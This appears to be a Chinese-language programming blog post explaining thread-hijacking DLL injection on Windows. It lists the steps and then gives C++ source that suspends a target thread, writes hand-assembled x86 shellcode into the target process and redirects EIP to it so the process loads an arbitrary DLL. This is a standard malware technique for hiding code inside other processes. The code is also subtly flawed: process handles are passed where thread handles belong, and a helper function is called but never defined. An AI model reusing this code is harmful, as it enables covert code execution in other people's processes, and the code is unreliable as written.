挂起线程注入的思想
挂起线程后,获得线程当前的上下背景文。将其中的EIP设置为我们ShellCode的地址,执行完毕后再返回原本的EIP
流程
- 提权
- 获得线程的ID 可以通过进程ID CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0); te32.th32OwnerProcessID
- 通过线程ID获得线程句柄
- 在目标进程空间申请内存
- 通过SuspendThread挂起线程
- 通过GetThreadContext获得线程上下背景文 尤其是EIP
- 构建ShellCode
- 写入内存
- 设置上下背景文EIP我们ShellCode所在内存
- 恢复线程
我这里使用的是手动输入的方式获取进程id和线程id。
#include "stdafx.h"
#include <Windows.h>
#include<iostream>
using namespace std;
void CreateShellCode(int ret, int str, unsigned char** shellcode, int* shellcodeSize)
{
unsigned char* retChar = (unsigned char*)&ret;
unsigned char* strChar = (unsigned char*)&str;
int api = (int)GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
unsigned char* apiChar = (unsigned char*)&api;
unsigned char sc[] = {
// Push 原本的EIP
0x68, retChar[0], retChar[1], retChar[2], retChar[3],
// Push 所有标志位
0x9C,
// Push 所有寄存器
0x60,
// Push Dll地址
0x68, strChar[0], strChar[1], strChar[2], strChar[3],
// Mov eax, LoadLibrary
0xB8, apiChar[0], apiChar[1], apiChar[2], apiChar[3],
// Call eax
0xFF, 0xD0,
// Pop 所有寄存器
0x61,
// Pop 所有标志位
0x9D,
// Ret (返回到Push进的EIP位置)
0xC3
};
*shellcodeSize = 22;
*shellcode = (unsigned char*)malloc(22);
memcpy(*shellcode, sc, 22);
}
int _tmain(int argc, char* argv[])
{
EnablePrivilege(GetCurrentProcess(), TRUE, SE_DEBUG_NAME);
char DllPath[] = "D:\\process-inject\\Debug\\Dll.dll";
unsigned char* ShellCode;
int ShellCodeLength;
LPVOID Remote_DllStringPtr;
LPVOID Remote_ShellCodePtr;
CONTEXT ctx;
DWORD ThreadId = 0;
DWORD ProcessId = 0;
HANDLE ThreadHandle = NULL;
HANDLE ProcessHandle = NULL;
cin >> ProcessId;
cin >> ThreadId;
ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
if (NULL == ThreadHandle)
{
MessageBox(NULL, TEXT("对不起,获取线程句柄失败"), TEXT("Title"), MB_OK);
return 0;
}
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (NULL == ProcessHandle)
{
MessageBox(NULL, TEXT("对不起,获取进程句柄失败"), TEXT("Title"), MB_OK);
return 0;
}
SuspendThread(ThreadHandle);
Remote_DllStringPtr = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
printf("为DLL路径申请到的地址:%X\n", Remote_DllStringPtr);
printf("Get EIP\n");
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(ThreadHandle, &ctx);
printf("EIP: %X\n", ctx.Eip);
printf("创建ShellCode\n");
CreateShellCode(ctx.Eip, (int)Remote_DllStringPtr, &ShellCode, &ShellCodeLength);
printf("Allocating Remote Memory For Shellcode\n");
Remote_ShellCodePtr = VirtualAllocEx(ProcessHandle, NULL, ShellCodeLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, Remote_DllStringPtr, DllPath, strlen(DllPath) + 1, NULL);
WriteProcessMemory(ProcessHandle, Remote_ShellCodePtr, ShellCode, ShellCodeLength, NULL);
printf("Set EIP\n");
ctx.Eip = (DWORD)Remote_ShellCodePtr;
ctx.ContextFlags = CONTEXT_CONTROL;
SetThreadContext(ProcessHandle, &ctx);
printf("ResumeThread\n");
ResumeThread(ProcessHandle);
Sleep(8000);
VirtualFreeEx(ProcessHandle, Remote_DllStringPtr, strlen(DllPath) + 1, MEM_DECOMMIT);
VirtualFreeEx(ProcessHandle, Remote_ShellCodePtr, ShellCodeLength, MEM_DECOMMIT);
return 0;
}